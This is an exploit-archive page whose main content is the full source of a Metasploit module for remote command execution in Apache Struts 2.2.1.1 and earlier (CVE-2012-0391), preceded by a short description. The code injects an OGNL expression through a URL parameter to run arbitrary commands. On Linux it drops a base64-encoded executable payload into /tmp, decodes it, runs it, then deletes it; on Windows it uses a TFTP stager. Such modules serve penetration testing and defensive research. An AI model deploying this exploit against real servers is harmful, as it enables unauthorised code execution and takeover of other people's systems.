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Apache Struts 2.2.1.1 Remote Command Execution

Apache Struts 2.2.1.1 Remote Command Execution
Posted Jun 5, 2012
Authored by sinn3r, juan vazquez, Johannes Dahse, Andreas Nusser | Site metasploit.com

This Metasploit module exploits a remote command execution vulnerability in Apache Struts versions less than or equal to 2.2.1.1. This issue is caused because the ExceptionDelegator interprets parameter values as OGNL expressions during certain exception handling for mismatched data types of properties, which allows remote attackers to execute arbitrary Java code via a crafted parameter.

tags | exploit, java, remote, arbitrary
advisories | CVE-2012-0391, OSVDB-78277
MD5 | 134ffd2e4650e077bb17ff4557a4ba63

Apache Struts 2.2.1.1 Remote Command Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts <= 2.2.1.1 Remote Command Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in
Apache Struts versions < 2.2.1.1. This issue is caused because the
ExceptionDelegator interprets parameter values as OGNL expressions
during certain exception handling for mismatched data types of properties,
which allows remote attackers to execute arbitrary Java code via a
crafted parameter.
},
'Author' =>
[
'Johannes Dahse', # Vulnerability discovery and PoC
'Andreas Nusser', # Vulnerability discovery and PoC
'juan vazquez', # Metasploit module
'sinn3r' # Metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'References' =>
[
[ 'CVE', '2012-0391'],
[ 'OSVDB', '78277'],
[ 'EDB', '18329'],
[ 'URL', 'https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt']
],
'Platform' => [ 'win', 'linux'],
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
'DisclosureDate' => 'Jan 06 2012',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action and the parameter to inject ie. /HelloWorldStruts2/hello?name=test&id=INJECT', ""]),
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
], self.class)
end

def execute_command(cmd, opts = {})

uri = String.new(datastore['TARGETURI'])
uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\"))%2b'") if target['Platform'] == 'win'
uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\".split(\"@\")))%2b'") if target['Platform'] == 'linux'
uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))

vprint_status("Attempting to execute: #{cmd}")

resp = send_request_raw({
'uri' => uri,
'version' => '1.1',
'method' => 'GET',
}, 5)

end

def windows_stager
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"

print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.'})
@payload_exe = payload_exe

print_status("Attempting to execute the payload...")
execute_command(@payload_exe)
end

def linux_stager
cmds = "/bin/sh@-c@echo LINE | tee FILE"
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
base64 = Rex::Text.encode_base64(exe)
base64.gsub!(/\=/, "\\u003d")
file = rand_text_alphanumeric(4+rand(4))

execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
base64.each_line do |line|
line.chomp!
cmd = cmds
cmd.gsub!(/LINE/, line)
execute_command(cmds)
end

execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")

execute_command("/bin/sh@-c@/tmp/#{file}")
@payload_exe = "/tmp/" + file
end

def on_new_session(client)
if target['Platform'] == 'linux'
print_status("Deleting #{@payload_exe} payload file")
execute_command("/bin/sh@-c@rm #{@payload_exe}")
else
print_status("Windows does not allow running executables to be deleted")
print_status("Delete the #{@payload_exe} file manually after migrating")
end
end

def exploit
if not datastore['CMD'].empty?
print_status("Executing user supplied command")
execute_command(datastore['CMD'])
return
end

case target['Platform']
when 'linux'
linux_stager
when 'win'
windows_stager
else
raise RuntimeError, 'Unsupported target platform!'
end

handler
end
end
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